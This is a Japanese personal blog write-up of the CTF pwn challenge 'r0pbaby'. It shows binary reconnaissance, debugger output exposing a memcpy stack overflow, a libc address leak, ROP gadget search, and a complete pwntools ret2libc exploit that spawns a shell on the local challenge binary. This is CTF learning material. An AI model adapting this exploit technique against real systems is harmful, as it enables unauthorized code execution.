mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwnlist baby r0pbaby

下調べ

mattun-mart@4ctf:~/Workspace/pwn/baby/r0pbaby$ file r0pbaby | sed -e "s/,/\n/g"
r0pbaby: ELF 64-bit LSB shared object
 x86-64
 version 1 (SYSV)
 dynamically linked
 interpreter /lib64/ld-linux-x86-64.so.2
 for GNU/Linux 2.6.24
 stripped
mattun-mart@4ctf:~/Workspace/pwn/baby/r0pbaby$ checksec.sh --file r0pbaby 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   r0pbaby

NX有効.

解析

起動させるとメニューが表示される.それぞれの処理は下記の通り.
1.libcの値を取得して表示.(ただし,正しいlibc_baseのアドレスではなかった)
2.入力したlibc内の関数のアドレスを取得して表示.
3.入力したバイト数分データを送信.
4.プログラムの終了.

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit

さっそくメニュー2の処理でsystem関数のアドレスを出してみると,それらしきものが出力された.
デバッガの方でsystem関数のアドレスを調べてみたところ,出力されたアドレスは正しいアドレスを出力していた.
ということは,取得したsystem関数のアドレスからsystem関数の相対アドレスを引いてlibc_baseのアドレスを求めることが可能.

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007F4A2A142390

あと,メニュー3の処理にはどうやらバグがあるらしい.

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 10
AAAAAAAAAA
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
Segmentation fault (コアダンプ)

デバッガで調べてみるとバッファオーバーフローが起きていた.
入力した内容は,memcpy関数によってrbpのアドレスにコピーされるため,リターンアドレスが書き換わってしまうらしい.

[----------------------------------registers-----------------------------------]
RAX: 0xa ('\n')
RBX: 0x7ffd42a4ebb0 ("AAAAAAAAA\nl*J\177")
RCX: 0x7f4a2a1f4260 (<__read_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0xa ('\n')
RSI: 0x7ffd42a4ebb0 ("AAAAAAAAA\nl*J\177")
RDI: 0x7ffd42a4eff0 --> 0x55862e0a3031 
RBP: 0x7ffd42a4eff0 --> 0x55862e0a3031 
RSP: 0x7ffd42a4eba0 --> 0x7ffd42a4ec34 --> 0x0 
RIP: 0x55862e53de4e (call   0x55862e53d9d0 <memcpy@plt>)
R8 : 0x7f4a2a8d5700 (0x00007f4a2a8d5700)
R9 : 0x7f4a2a8d5700 (0x00007f4a2a8d5700)
R10: 0x0 
R11: 0x246 
R12: 0xa ('\n')
R13: 0xa ('\n')
R14: 0xa ('\n')
R15: 0x7f4a2a4c2710 --> 0x7f4a2a4c18e0 --> 0xfbad2288
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55862e53de45:	mov    rdx,r12
   0x55862e53de48:	mov    rsi,rbx
   0x55862e53de4b:	mov    rdi,rbp
=> 0x55862e53de4e:	call   0x55862e53d9d0 <memcpy@plt>
   0x55862e53de53:	jmp    0x55862e53dcca
   0x55862e53de58:	lea    rdi,[rip+0x181]        # 0x55862e53dfe0
   0x55862e53de5f:	call   0x55862e53d970 <puts@plt>
   0x55862e53de64:	jmp    0x55862e53dcca
Guessed arguments:
arg[0]: 0x7ffd42a4eff0 --> 0x55862e0a3031 
arg[1]: 0x7ffd42a4ebb0 ("AAAAAAAAA\nl*J\177")
arg[2]: 0xa ('\n')
[------------------------------------stack-------------------------------------]
0000| 0x7ffd42a4eba0 --> 0x7ffd42a4ec34 --> 0x0 
0008| 0x7ffd42a4eba8 --> 0x7f4a2a8d74e8 --> 0x7f4a2a0fd000 --> 0x3010102464c457f 
0016| 0x7ffd42a4ebb0 ("AAAAAAAAA\nl*J\177")
0024| 0x7ffd42a4ebb8 --> 0x7f4a2a6c0a41 (MemError)
0032| 0x7ffd42a4ebc0 --> 0x7f4a2a6cb450 --> 0xc002200000110 
0040| 0x7ffd42a4ebc8 --> 0x7ffd42a4ec38 --> 0x0 
0048| 0x7ffd42a4ebd0 --> 0x3de00ec7 
0056| 0x7ffd42a4ebd8 --> 0xf7803b 

64ビット環境なので8文字以降の入力でリターンアドレスを書き換えられる.
あとは,リークしたlibc_baseアドレスを使ってsystem関数を呼び出してあげれば良さそう.

Exploit

libc_baseを特定するために,libc内のsystem関数の相対アドレスを調べる.

mattun-mart@4ctf:~/Workspace/pwn/baby/r0pbaby$ ldd r0pbaby 
	linux-vdso.so.1 =>  (0x00007ffceaf86000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fc1828cb000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc182501000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fc182cd2000)

mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep system
0000000000045390 T __libc_system
0000000000138810 T svcerr_systemerr
0000000000045390 W system

シェルを起動するために/bin/shという文字列が必要になるため,これもlibc内を調べる.

mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep bin/sh
 18cd57 /bin/sh

64bit環境では引数はレジスタを利用するため,/bin/shレジスタに渡してsystem関数を呼び出す必要がある.(ただし,引数が多いとレジスタも使用される.)
第一引数はrdiに渡せば良いので,「pop rdi; ret」という命令をlibc内から探す.

mattun-mart@4ctf:~/Workspace/pwn/baby/r0pbaby$ rp -f /lib/x86_64-linux-gnu/libc.so.6 -r 1 --unique | grep "pop rdi"
0x0010741a: pop rdi ; call rax ;  (1 found)
0x000f9901: pop rdi ; jmp qword [rbp+rax*2-0x77] ;  (2 found)
0x00104052: pop rdi ; jmp rax ;  (1 found)
0x00037861: pop rdi ; rep ret  ;  (5 found)
0x00021102: pop rdi ; ret  ;  (535 found)
0x00067499: pop rdi ; retn 0xFFFF ;  (1 found)

材料は揃ったのであとは組み立てるだけ.

#~/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct

#context.log_level = 'debug'

conn = process('./r0pbaby')

# 実際はリモートで動いているlibcを特定する必要あり
# 各値は筆者の環境で調べた値
libc_system_offset = 0x45390
binsh_offset = 0x18cd57
pop_ret_edi_offset = 0x21102

conn.recv()
conn.send("2\n")
conn.recv()
conn.send("system\n")
libc_system = int(conn.recvline()[15:].strip("\n"),16)

libc_base = libc_system - libc_system_offset

payload = "AAAAAAAA"
payload += p64(libc_base + pop_ret_edi_offset) # ediに/bin/shを渡してsystem関数起動
payload += p64(libc_base + binsh_offset) # popでediに渡す値
payload += p64(libc_system) # retの飛び先
payload += "\n"

conn.send("3\n")
conn.send(str(len(payload)) + "\n")
conn.send(payload)
conn.send("4\n")

conn.interactive()

結果

mattun-mart@4ctf:~/Workspace/pwn/baby/r0pbaby$ python exploit.py 
[+] Starting local process './r0pbaby': pid 10018
[*] Switching to interactive mode
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Enter bytes to send (max 1024): 1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Exiting.
$ ls
a.out  core  dump  exploit.py  peda-session-r0pbaby.txt  r0pbaby